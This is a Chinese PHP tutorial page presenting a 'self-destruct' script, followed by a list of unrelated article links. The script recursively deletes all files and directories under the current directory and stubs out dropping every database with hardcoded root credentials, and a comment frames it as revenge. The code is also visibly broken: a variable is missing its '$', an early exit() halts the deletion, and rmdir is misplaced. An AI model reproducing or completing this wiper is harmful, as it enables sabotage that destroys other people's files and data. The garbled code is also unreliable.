PHP自毁程序(慎用)


Posted in PHP onJuly 09, 2015

本文实例讲述了PHP自毁程序。分享给大家供大家参考。具体实现方法如下:

<?php
// +----------------------------------------------------------------------
// | Kill!!
// | 程序将清除本目录所有文件、目录
// | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)
// +----------------------------------------------------------------------
// | Version: $Id$
// +---------------------------------------------------------------------- 
//----------数据库配置区域-----------------
//复仇的力量是很可怕的,所以无需指定数据库,全删!
define('DB_USER', 'root');
define('DB_PWD', 'root');
define('DB_HOST', 'localhost');
define('DB_PORT', '3216');
define('DB_DAMAGE', true); //为false时,不碰数据库
run();
/**
 * 主体思想必须光辉伟大!
 *
 * @return void
 **/
function run()
{
 //删除文件
 deletedir();
 //删除数据库
 deleteDB();
}
/**
 * 呵呵呵,删除当前目录所有文件(递归)
 *
 * @return void
 **/
function deletedir($dir = ''){
 if ($dir == '') {
  $dir = realpath('.');
 }
 echo $dir;
 exit();
  if(!handle=@opendir($dir)){
  //检测要打开目录是否存在
  die("没有该目录");
  }
  while(false !==($file=readdir($handle))){
    if($file!=="."&&$file!==".."){
    //排除当前目录与父级目录
    $file=$dir .DIRECTORY_SEPARATOR. $file;
    if(is_dir($file)){
     deletedir($file);
    }else{
     if(@unlink($file)){
      echo "文件<b>$file</b>删除成功。<br>";
     }else{
      echo "文件<b>$file</b>删除失败!<br>";
     }
    }
    }
    if(@rmdir($dir)){
    echo "目录<b>$dir</b>删除成功了。<br>\n";
    }else{
    echo "目录<b>$dir</b>删除失败!<br>\n";
    }
   }
/**
 * 呵呵呵,删除数据库
 *
 * @return void
 **/
function deleteDB()
{
 if(DB_DAMAGE === true){
  //start
 }
}

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
php 接口类与抽象类的实际作用
Nov 26 PHP
php 读取文件乱码问题
Feb 20 PHP
php中通过curl smtp发送邮件
Jun 05 PHP
深入PHP获取随机数字和字母的方法详解
Jun 06 PHP
一个好用的PHP验证码类实例分享
Dec 27 PHP
Laravel 4 初级教程之Pages、表单验证
Oct 30 PHP
php+mysqli使用预处理技术进行数据库查询的方法
Jan 28 PHP
php文件下载处理方法分析
Apr 22 PHP
一个完整的PHP类包含的七种语法说明
Jun 04 PHP
PHP实现简单实用的验证码类
Jul 29 PHP
Linux系统中设置多版本PHP共存配合Nginx服务器使用
Dec 21 PHP
针对thinkPHP5框架存储过程bug重写的存储过程扩展类完整实例
Jun 16 PHP
PHP模板解析类实例
Jul 09 #PHP
PHP多文件上传实例
Jul 09 #PHP
php判断linux下程序问题实例
Jul 09 #PHP
php实现html标签闭合检测与修复方法
Jul 09 #PHP
php可扩展的验证类实例(可对邮件、手机号、URL等验证)
Jul 09 #PHP
php类常量用法实例分析
Jul 09 #PHP
php求一个网段开始与结束IP地址的方法
Jul 09 #PHP
You might like
php数组合并的二种方法
2014/03/21 PHP
jquery中获得$.ajax()事件返回的值并添加事件的方法
2010/04/15 Javascript
javascript将异步校验表单改写为同步表单
2015/01/27 Javascript
jQuery实现简洁的导航菜单效果
2015/11/23 Javascript
jQuery插件实现无缝滚动特效
2015/11/24 Javascript
angular.js分页代码的实例
2016/07/27 Javascript
JS常见疑难点分析之match,charAt,charCodeAt,map,search用法分析
2016/12/25 Javascript
如何提高数据访问速度
2016/12/26 Javascript
Angularjs单选改为多选的开发过程及问题解析
2017/02/17 Javascript
详解@Vue/Cli 3 Invalid Host header 错误解决办法
2019/01/02 Javascript
微信小程序下拉菜单效果的实例代码
2019/05/14 Javascript
使用nodeJS中的fs模块对文件及目录进行读写,删除,追加,等操作详解
2020/02/06 NodeJs
简单谈谈python中的多进程
2016/11/06 Python
python中利用Future对象异步返回结果示例代码
2017/09/07 Python
python多维数组切片方法
2018/04/13 Python
Python之用户输入的实例
2018/06/22 Python
Python过滤txt文件内重复内容的方法
2018/10/21 Python
Python爬虫实战之12306抢票开源
2019/01/24 Python
Python字符串的一些操作方法总结
2019/06/10 Python
Python函数的定义方式与函数参数问题实例分析
2019/12/26 Python
Python动态导入模块:__import__、importlib、动态导入的使用场景实例分析
2020/03/30 Python
Python super()函数使用及多重继承
2020/05/06 Python
canvas拼图功能实现代码示例
2018/11/21 HTML / CSS
美国最大的网上冲印店:Shutterfly
2017/01/01 全球购物
Quiksilver美国官网:始于1969年的优质冲浪服和滑雪板外套
2020/04/20 全球购物
汽车工程专业应届生求职信
2013/10/19 职场文书
就业推荐表自我鉴定
2013/10/29 职场文书
生物工程专业求职信
2014/09/03 职场文书
2014年信访维稳工作总结
2014/12/08 职场文书
督导岗位职责
2015/02/04 职场文书
交通安全温馨提示语
2015/07/14 职场文书
2015年学校办公室主任工作总结
2015/07/20 职场文书
中学生运动会广播稿
2015/08/19 职场文书
JavaScript利用html5新方法操作元素类名详解
2021/11/27 Javascript
简单聊一聊SQL注入及防止SQL注入
2022/03/23 MySQL
Mybatis-plus配置分页插件返回统一结果集
2022/06/21 Java/Android